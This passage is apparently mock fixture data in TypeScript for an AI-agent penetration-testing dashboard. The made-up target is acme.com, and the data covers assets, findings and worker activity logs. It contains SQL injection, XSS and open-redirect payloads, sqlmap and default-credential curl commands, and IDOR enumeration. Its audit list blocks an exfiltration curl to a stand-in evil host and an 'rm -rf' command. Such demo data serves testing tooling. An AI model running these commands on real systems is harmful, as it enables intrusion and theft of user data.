created_unix: 1785313800,
last_activity: T("2026-07-23T18:40:10Z"),
last_activity_unix: 1785436810,
paused: true, active: false, in_flight: 0, stalled: false,
goals_total: 4, goals_met: 1, engine_mode: "paused",
llm_profile_id: 2,
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
},
{
id: "t-vpn-edge",
description: "对外暴露面侦察(VPN / 边界服务)",
goal: "识别 acme.com 对外暴露的可利用边界服务。",
status: "done",
created_at: T("2026-07-18T08:00:00Z"),
created_unix: 1784966400,
completed_at: T("2026-07-20T22:11:00Z"),
completed_unix: 1785190260,
last_activity: T("2026-07-20T22:11:00Z"),
last_activity_unix: 1785190260,
paused: false, active: false, in_flight: 0, stalled: false,
goals_total: 3, goals_met: 3, engine_mode: "idle",
llm_profile_id: 1,
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
},
];
export const getTask = (id: string) => tasks.find((t) => t.id === id);
const grandTotal: TokenTotal = tasks.reduce(
(a, t) => ({
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
}),
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
);
// ── Stats ──────────────────────────────────────────────────────────────────
export function stats(taskId?: string): Stats & { active_task?: unknown } {
const base: Stats = {
assets: assets.length,
engine_mode: "exploring",
llm_configured: true,
roe_enabled: true,
findings_confirmed: findings.filter((f) => f.severity !== "low").length,
};
const t = taskId ? getTask(taskId) : getTask(ACTIVE_TASK);
if (!t) return base;
return {
...base,
engine_mode: t.engine_mode ?? "idle",
findings_confirmed: findings.filter((f) => f.task_id === t.id).length,
active_task: {
id: t.id, in_flight: t.in_flight, goals_total: t.goals_total,
goals_met: t.goals_met, engine_mode: t.engine_mode, paused: t.paused,
},
};
}
// ── Company + Assets (new unified model) ─────────────────────────────────────
export const companies: Company[] = [
{
id: 1, name: "Acme Corp", logo: "",
asset_count: 18,
scope: [
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域" },
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
],
},
];
export const assets: Asset[] = [
{ id: 1, type: "root_domain", company_id: 1, task_ids: [1], domain: "acme.com", root_domain: "acme.com", icp: "京ICP备2021xxxx号", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:00:00Z") },
{ id: 2, type: "subdomain", company_id: 1, task_ids: [1], domain: "www.acme.com", root_domain: "acme.com", record_type: "CNAME", record_value: "acme.com", last_seen: T("2026-07-26T02:01:00Z") },
{ id: 3, type: "subdomain", company_id: 1, task_ids: [2], domain: "api.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.11"], last_seen: T("2026-07-26T02:02:00Z") },
{ id: 4, type: "subdomain", company_id: 1, task_ids: [3], domain: "shop.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.12"], last_seen: T("2026-07-26T02:03:00Z") },
{ id: 5, type: "subdomain", company_id: 1, task_ids: [4], domain: "vpn.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["198.51.100.20"], last_seen: T("2026-07-20T02:00:00Z") },
{ id: 6, type: "subdomain", company_id: 1, task_ids: [1], domain: "admin.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:04:00Z") },
{ id: 7, type: "ip", company_id: 1, task_ids: [1, 2], ip: "203.0.113.10", c_segment: "203.0.113.0", open_ports: [{ port: 80, service: "http" }, { port: 443, service: "https" }, { port: 22, service: "ssh" }], last_seen: T("2026-07-26T02:05:00Z") },
{ id: 8, type: "ip", company_id: 1, task_ids: [2], ip: "203.0.113.11", c_segment: "203.0.113.0", open_ports: [{ port: 443, service: "https" }], last_seen: T("2026-07-26T02:06:00Z") },
{ id: 9, type: "ip", company_id: 1, task_ids: [4], ip: "198.51.100.20", c_segment: "198.51.100.0", open_ports: [{ port: 443, service: "https" }, { port: 500, service: " isakmp" }], last_seen: T("2026-07-20T02:00:00Z") },
{ id: 10, type: "service", company_id: 1, task_ids: [1], ip: "203.0.113.10", port: 443, service_type: "https", service_name: "nginx/1.24.0", last_seen: T("2026-07-26T02:07:00Z") },
{ id: 11, type: "service", company_id: 1, task_ids: [4], ip: "198.51.100.20", port: 22, service_type: "ssh", service_name: "OpenSSH 8.9p1", last_seen: T("2026-07-20T02:00:00Z") },
{ id: 12, type: "app", company_id: 1, task_ids: [1], url: "https://www.acme.com", app_name: "Acme 官网", category: "corp", status_code: 200, content_length: 48213, page_title: "Acme Corp — 企业官网", technologies: ["Nginx", "React", "Cloudflare"], favicon_mmh3: "-1580860059", last_seen: T("2026-07-26T02:08:00Z") },
{ id: 13, type: "app", company_id: 1, task_ids: [1], url: "https://admin.acme.com", app_name: "后台管理", category: "admin", status_code: 200, content_length: 12044, page_title: "Acme Admin 登录", technologies: ["Nginx", "Vue", "Element-UI"], last_seen: T("2026-07-26T02:09:00Z") },
{ id: 14, type: "app", company_id: 1, task_ids: [2], url: "https://api.acme.com", app_name: "REST API", category: "api", status_code: 401, content_length: 45, page_title: "", technologies: ["Kong", "Node.js"], last_seen: T("2026-07-26T02:10:00Z") },
{ id: 15, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/orders", method: "GET", status_code: 200, params: [{ name: "id", in: "query" }, { name: "page", in: "query" }], last_seen: T("2026-07-26T02:11:00Z") },
{ id: 16, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/users/me", method: "GET", status_code: 200, last_seen: T("2026-07-26T02:12:00Z") },
{ id: 17, type: "endpoint", company_id: 1, task_ids: [1], url: "https://admin.acme.com/login", method: "POST", status_code: 200, params: [{ name: "username" }, { name: "password" }], last_seen: T("2026-07-26T02:13:00Z") },
{ id: 18, type: "endpoint", company_id: 1, task_ids: [1], url: "https://www.acme.com/search", method: "GET", status_code: 200, params: [{ name: "q", in: "query" }], last_seen: T("2026-07-26T02:14:00Z") },
];
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
m[a.type] = (m[a.type] ?? 0) + 1;
return m;
}, {});
// ── Findings ─────────────────────────────────────────────────────────────────
export const findings: Finding[] = [
{ id: "f-1", vulnclass: "SQL Injection", severity: "high", summary: "www.acme.com/search q 参数存在报错型 SQL 注入", evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本报错,可读库结构。", intent_id: "i-2", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T01:20:00Z") },
{ id: "f-2", vulnclass: "IDOR", severity: "high", summary: "api.acme.com/v1/orders?id= 可越权读取他人订单", evidence: "将 id=1001 改为 id=1002 返回他人订单(含收货地址、手机号),无归属校验。", intent_id: "i-5", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-26T02:44:00Z") },
{ id: "f-3", vulnclass: "Weak JWT", severity: "high", summary: "API JWT 使用弱密钥、可离线爆破伪造", evidence: "HS256,密钥 'secret',john 5 秒破解 → 可伪造任意 sub 越权。", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-26T03:02:00Z") },
{ id: "f-4", vulnclass: "Reflected XSS", severity: "medium", summary: "搜索页对 q 参数未转义,反射型 XSS", evidence: "q=<script>alert(document.domain)</script> 原样回显于结果标题。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T22:10:00Z") },
{ id: "f-5", vulnclass: "Exposed .git", severity: "medium", summary: "www.acme.com 暴露 .git 目录,可还原源码", evidence: "GET /.git/HEAD → 200;git-dumper 还原出后端源码与数据库连接串注释。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:30:00Z") },
{ id: "f-6", vulnclass: "Default Credentials", severity: "high", summary: "admin.acme.com 后台默认口令 admin/admin123", evidence: "登录成功,进入管理后台,可管理用户与订单。", intent_id: "i-3", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T03:50:00Z") },
{ id: "f-7", vulnclass: "Open Redirect", severity: "low", summary: "登录后 next 参数任意跳转", evidence: "/login?next=https://evil.example 登录后 302 跳到外站。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T19:12:00Z") },
{ id: "f-8", vulnclass: "Missing Rate Limit", severity: "medium", summary: "登录接口无速率限制,可暴力破解", evidence: "1000 次/分钟无锁定,无验证码。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T18:40:00Z") },
{ id: "f-9", vulnclass: "Verbose Error", severity: "low", summary: "API 500 返回堆栈,泄露路径与框架版本", evidence: "触发 500 返回 Node.js 堆栈,泄露绝对路径与依赖版本。", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-25T23:05:00Z") },
{ id: "f-10", vulnclass: "Outdated Component", severity: "medium", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") },
];
// ── Exploration graph (active task) ──────────────────────────────────────────
// 现行模型:根是 fact/state=origin(渲染为「起点」);payload 为 JSON 字符串,
// goal 取 text、其余取 summary。结构:根→目标(spawns)→意图(spawns)→事实/漏洞(yields),
// 漏洞→目标(proves),提示→意图(derived_from)。
const P = (o: Record<string, string>) => JSON.stringify(o);
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
nodes: [
{ id: "root", type: "fact", payload: P({ summary: "根:acme.com 外部渗透" }), priority: 0, state: "origin", origin: "system", ts: T("2026-07-24T09:12:00Z") },
// 目标(由 goals agent 拆解)
{ id: "g1", type: "goal", payload: P({ text: "获取后台管理权限" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-24T09:13:00Z") },
{ id: "g2", type: "goal", payload: P({ text: "读取用户敏感数据" }), priority: 8, state: "open", origin: "goals", ts: T("2026-07-24T09:13:00Z") },
// 意图(由 planner 从目标派生)
{ id: "i1", type: "intent", payload: P({ summary: "acme.com 子域枚举与端口扫描" }), priority: 6, state: "done", origin: "planner", ts: T("2026-07-24T09:20:00Z") },
{ id: "i2", type: "intent", payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-26T03:30:00Z") },
{ id: "i3", type: "intent", payload: P({ summary: "枚举后台功能与用户数据接口" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:55:00Z") },
{ id: "i4", type: "intent", payload: P({ summary: "www.acme.com/search 页 SQL 注入探测" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:00:00Z") },
{ id: "i5", type: "intent", payload: P({ summary: "api.acme.com 订单接口越权(IDOR)测试" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T02:30:00Z") },
// 事实
{ id: "fa1", type: "fact", payload: P({ summary: "发现子域 admin.acme.com(Element-UI 后台)" }), priority: 0, state: "open", origin: "work#1", ts: T("2026-07-24T09:40:00Z") },
{ id: "fa2", type: "fact", payload: P({ summary: "search 页 q 参数为 error-based 注入点(MSSQL)" }), priority: 0, state: "open", origin: "work#4", ts: T("2026-07-25T22:05:00Z") },
// 漏洞
{ id: "fi1", type: "finding", payload: P({ summary: "后台默认口令 admin/admin123" }), priority: 0, state: "confirmed", origin: "work#2", ts: T("2026-07-26T03:50:00Z") },
{ id: "fi2", type: "finding", payload: P({ summary: "SQL 注入(search q)可读 acme_prod 库" }), priority: 0, state: "confirmed", origin: "work#4", ts: T("2026-07-26T01:20:00Z") },
{ id: "fi3", type: "finding", payload: P({ summary: "IDOR:/v1/orders?id= 可越权读他人订单" }), priority: 0, state: "confirmed", origin: "work#5", ts: T("2026-07-26T02:44:00Z") },
// 提示(主 agent 注入)
{ id: "h1", type: "hint", payload: P({ summary: "后台是 Element-UI,优先跑默认口令表" }), priority: 5, state: "consumed", origin: "mainagent", ts: T("2026-07-26T03:20:00Z") },
],
edges: [
{ src: "root", dst: "g1", rel: "spawns" },
{ src: "root", dst: "g2", rel: "spawns" },
{ src: "g1", dst: "i1", rel: "spawns" },
{ src: "g1", dst: "i2", rel: "spawns" },
{ src: "g1", dst: "i3", rel: "spawns" },
{ src: "g2", dst: "i4", rel: "spawns" },
{ src: "g2", dst: "i5", rel: "spawns" },
{ src: "i1", dst: "fa1", rel: "yields" },
{ src: "i4", dst: "fa2", rel: "yields" },
{ src: "i2", dst: "fi1", rel: "yields" },
{ src: "i4", dst: "fi2", rel: "yields" },
{ src: "i5", dst: "fi3", rel: "yields" },
{ src: "fi1", dst: "g1", rel: "proves" },
{ src: "h1", dst: "i2", rel: "derived_from" },
],
};
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
export const frontier: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent" && (n.state === "open" || n.state === "running"));
// ── Activity(执行过程)─────────────────────────────────────────────────────
// 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配
// intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。
// 每个 worker 会话含完整工具执行链(tool_use → tool_result → …→ result)。
export const activity: Activity[] = [
// planner
{ seq: 1, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" },
{ seq: 2, worker: "planner", ts: T("2026-07-24T09:12:30Z"), kind: "thinking", summary: "acme.com 是企业站,攻击面:官网(www)、后台(admin)、API(api)、商城(shop)。先枚举资产,再挑高价值目标。" },
{ seq: 3, worker: "planner", ts: T("2026-07-24T09:13:00Z"), kind: "text", summary: "拆出两个目标:① 获取后台管理权限 ② 读取用户敏感数据。派生首批意图:子域枚举、后台口令测试、注入探测、API 越权。" },
{ seq: 4, worker: "planner", ts: T("2026-07-26T03:55:00Z"), kind: "round", summary: "第 3 轮 · 复盘" },
{ seq: 5, worker: "planner", ts: T("2026-07-26T03:55:10Z"), kind: "text", summary: "后台已拿下(g1 达成)。继续 g2:派生「枚举后台用户接口」「API IDOR 测试」两条意图并提高优先级。" },
// work#1 · i1 子域枚举与端口扫描(done)
{ seq: 10, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:00Z"), kind: "thinking", summary: "先被动侦察子域,再对存活主机做端口/服务识别。" },
{ seq: 11, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11", summary: "subfinder -d acme.com -silent | httpx -silent -sc -title" },
{ seq: 12, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:22:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11", summary: "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", detail: "5 个存活子域,其中 admin 是后台登录页。" },
{ seq: 13, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:23:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12", summary: "nmap -sV -T4 -p- 203.0.113.10" },
{ seq: 14, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:26:40Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12", summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", detail: "开放 22/80/443。" },
{ seq: 15, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:00Z"), kind: "tool_use", tool: "upsert_asset", tool_use_id: "t13", summary: "upsert_asset × 6(子域+服务)" },
{ seq: 16, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:01Z"), kind: "tool_result", tool: "upsert_asset", tool_use_id: "t13", summary: "6 assets upserted" },
{ seq: 17, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:40:00Z"), kind: "result", summary: "资产侦察完成,发现后台 admin.acme.com,交回图。", input_tokens: 96000, output_tokens: 6100, cache_read_tokens: 61000, cache_write_tokens: 9000 },
// work#2 · i2 后台默认口令(done,证明 g1)
{ seq: 20, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:31:00Z"), kind: "thinking", summary: "后台是 Element-UI,登录接口无验证码、无速率限制。先试默认口令表,再上字典。" },
{ seq: 21, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t21", summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'" },
{ seq: 22, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t21", summary: "401", detail: "admin/admin 失败。" },
{ seq: 23, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t22", summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login" },
{ seq: 24, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:33Z"), kind: "tool_result", tool: "bash", tool_use_id: "t22", summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", detail: "admin/admin123 登录成功,拿到会话 cookie。" },
{ seq: 25, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "t23", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'" },
{ seq: 26, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "t23", summary: "<title>Acme Admin · 控制台", detail: "确认已进入后台控制台。" },
{ seq: 27, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t24", summary: "report_finding(Default Credentials, high)" },
{ seq: 28, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t24", summary: "finding f-6 已记录,并连到目标 g1(proves)" },
{ seq: 29, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:50:00Z"), kind: "result", summary: "后台默认口令确认,目标①达成。", input_tokens: 72000, output_tokens: 4800, cache_read_tokens: 48000, cache_write_tokens: 7200 },
// work#4 · i4 SQL 注入(done)
{ seq: 40, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:01:00Z"), kind: "thinking", summary: "search?q= 结果页把 q 拼进标题,先手工加单引号看报错。" },
{ seq: 41, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t41", summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'" },
{ seq: 42, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:04Z"), kind: "tool_result", tool: "bash", tool_use_id: "t41", summary: "Unclosed quotation mark ... near '1'.", detail: "MSSQL 报错型注入迹象。" },
{ seq: 43, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:03:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t42", summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2" },
{ seq: 44, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t42", summary: "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", detail: "确认可注入,枚举出 4 个库。" },
{ seq: 45, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t43", summary: "report_finding(SQL Injection, high)" },
{ seq: 46, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t43", summary: "finding f-1 已记录" },
{ seq: 47, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:20:00Z"), kind: "result", summary: "SQL 注入确认。", input_tokens: 118000, output_tokens: 7400, cache_read_tokens: 82000, cache_write_tokens: 11000 },
// work#5 · i5 IDOR(running)
{ seq: 50, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:31:00Z"), kind: "thinking", summary: "/v1/orders?id= 是数字自增 id,典型 IDOR 面。先取自己的单,再改 id 看能否读他人。" },
{ seq: 51, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t51", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001" },
{ seq: 52, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t51", summary: "{ \"order_id\":1001, \"user_id\":42, \"amount\":299 }", detail: "自己的订单,正常。" },
{ seq: 53, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t52", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002" },
{ seq: 54, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t52", summary: "{ \"order_id\":1002, \"user_id\":77, \"amount\":1299, \"phone\":\"138****6021\", \"address\":\"北京市朝阳区 ****\" }", detail: "越权读到他人订单(含手机号/地址),无归属校验。" },
{ seq: 55, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t53", summary: "report_finding(IDOR, high)" },
{ seq: 56, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t53", summary: "finding f-2 已记录" },
{ seq: 57, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T03:58:10Z"), kind: "thinking", summary: "正在批量遍历 id 范围,评估可越权数据规模(暂不导出,避免触发拦截规则)。" },
// work#3 · i3 后台用户接口枚举(running)
{ seq: 60, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:56:00Z"), kind: "thinking", summary: "已有后台会话,枚举管理接口,找能批量导出用户敏感数据的入口(目标②)。" },
{ seq: 61, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t61", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1" },
{ seq: 62, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t61", summary: "{ \"total\": 12840, \"items\": [ { \"id\":1, \"email\":\"a***@acme.com\", \"phone\":\"139****\" } ] }", detail: "管理接口可分页返回全部用户(含邮箱/手机号),约 1.28 万条。" },
{ seq: 63, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:58:20Z"), kind: "thinking", summary: "确认存在批量用户数据读取入口;导出动作命中破坏性/外泄规则,已提交拦截审批等待放行。" },
// 主 agent(人在环路对话)
{ seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "后台先从哪切入?" },
{ seq: 71, worker: "mainagent", ts: T("2026-07-26T03:18:06Z"), kind: "text", summary: "admin.acme.com 是 Element-UI 后台,无验证码、无速率限制。建议先默认口令表(admin/admin123)再上字典。我已注入一条高优意图给 work agent。" },
{ seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "拿到后台了,接下来重点?" },
{ seq: 73, worker: "mainagent", ts: T("2026-07-26T03:52:08Z"), kind: "text", summary: "目标②是读用户敏感数据:并行推进「后台用户接口枚举」与「API IDOR」。注意批量导出会触发拦截规则,需要你审批放行。" },
];
export function activityForTask(): Activity[] {
return activity;
}
// ── Token stats ──────────────────────────────────────────────────────────────
export const tokenWorkers: TokenUsage[] = [
{ worker: "planner", input_tokens: 320000, output_tokens: 24000, cache_read_tokens: 210000, cache_write_tokens: 33000 },
{ worker: "work#1", input_tokens: 288000, output_tokens: 21000, cache_read_tokens: 190000, cache_write_tokens: 28000 },
{ worker: "work#2", input_tokens: 402000, output_tokens: 31000, cache_read_tokens: 280000, cache_write_tokens: 41000 },
{ worker: "work#3", input_tokens: 274500, output_tokens: 20320, cache_read_tokens: 210400, cache_write_tokens: 30000 },
];
export const tokenTotal: TokenTotal = grandTotal;
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
const d = new Date("2026-07-26T00:00:00Z");
d.setUTCDate(d.getUTCDate() - (29 - i));
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
return {
date: d.toISOString().slice(0, 10),
input_tokens: wave, output_tokens: Math.round(wave * 0.08),
cache_read_tokens: Math.round(wave * 0.7), cache_write_tokens: Math.round(wave * 0.12),
};
});
export const convTokens: ConvTokenSummary[] = [
{ llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), input_tokens: 42000, output_tokens: 3800, cache_read_tokens: 26000, cache_write_tokens: 5200 },
{ llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), input_tokens: 18000, output_tokens: 1600, cache_read_tokens: 9000, cache_write_tokens: 2100 },
];
// ── Traffic ──────────────────────────────────────────────────────────────────
const exchanges = [
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
] as const;
export const traffic: TrafficResp = {
enabled: true,
proxy: ":8788",
count: exchanges.length,
total: exchanges.length,
page: 0,
size: 100,
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
id, host, method, url, status, content_type: ct, resp_len: len,
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
})),
};
export const trafficDetail: TrafficDetail = {
req: `GET /v1/orders?id=1002 HTTP/1.1
Host: api.acme.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
User-Agent: ARTEX-worker/1.0
Accept: application/json
`,
resp: `HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 655
{
"order_id": 1002,
"user_id": 77,
"amount": 1299.00,
"address": "北京市朝阳区 ****",
"phone": "138****6021",
"items": [{ "sku": "A-100", "qty": 1 }]
}`,
};
// ── Security / Audit ─────────────────────────────────────────────────────────
export const audit: Audit = {
attributions: { allow: 214, block: 6 },
entries: [
{ ts: T("2026-07-26T03:33:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'username=admin...' https://admin.acme.com/login" },
{ ts: T("2026-07-26T03:57:00Z"), tool: "bash", action: "allow", command: "curl -s -b 'session=...' https://admin.acme.com/api/users" },
{ ts: T("2026-07-26T02:10:00Z"), tool: "bash", action: "block", reason: "目标越界:out.evil.example 不在 scope 内", command: "curl https://out.evil.example/exfil" },
{ ts: T("2026-07-25T22:03:00Z"), tool: "bash", action: "allow", command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch" },
{ ts: T("2026-07-25T21:00:00Z"), tool: "bash", action: "block", reason: "破坏性命令门控:rm -rf 被拒绝", command: "rm -rf /var/www" },
{ ts: T("2026-07-25T20:30:00Z"), tool: "bash", action: "allow", command: "git-dumper https://www.acme.com/.git/ /tmp/acme" },
],
};
// ── LLM profiles ─────────────────────────────────────────────────────────────
export const llmProfiles: LLMProfile[] = [
{ id: "1", name: "Claude Opus 4.8", format: "anthropic", model: "claude-opus-4-8", api_key_hint: "…a3f2", rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high", is_default: true },
{ id: "2", name: "DeepSeek V4", format: "openai", base_url: "https://api.deepseek.com/v1", model: "deepseek-v4-flash", api_key_hint: "…9c11", rate_per_second: 0, rate_per_minute: 60, context_window_k: 128, reasoning_effort: "", is_default: false },
];
export const llmConfig = {
configured: true, provider: "anthropic", model: "claude-opus-4-8",
base_url: "", proxy: "", key_set: true,
rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high",
};
// ── Agents ───────────────────────────────────────────────────────────────────
export const agents: Agent[] = [
